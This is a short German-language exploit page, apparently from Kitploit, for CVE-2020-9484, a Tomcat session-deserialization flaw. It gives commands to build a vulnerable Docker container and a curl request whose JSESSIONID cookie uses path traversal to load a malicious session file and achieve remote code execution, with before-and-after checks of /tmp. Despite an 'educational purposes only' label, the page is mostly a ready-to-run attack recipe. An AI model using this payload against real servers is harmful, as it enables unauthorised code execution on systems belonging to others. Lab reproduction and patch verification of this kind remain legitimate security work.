CVE-2020-9484 | Kitploit

CVE-2020-9484 (Tomcat)

Nur für Bildungszwecke.

Siehe Referenz für Details.

Ausführen

$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ CONTAINER=`docker run -d -p 8080:8080 tomcat:groovy`

Prüfen (sauber)

$ docker exec -it $CONTAINER ls -la /tmp

HINWEIS: (rce NICHT in der Ausgabe)

Exploit

$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

Prüfen (ausgenutzt)

$ docker exec -it $CONTAINER ls -la /tmp

HINWEIS: (rce IST in der Ausgabe)

Tool herunterladen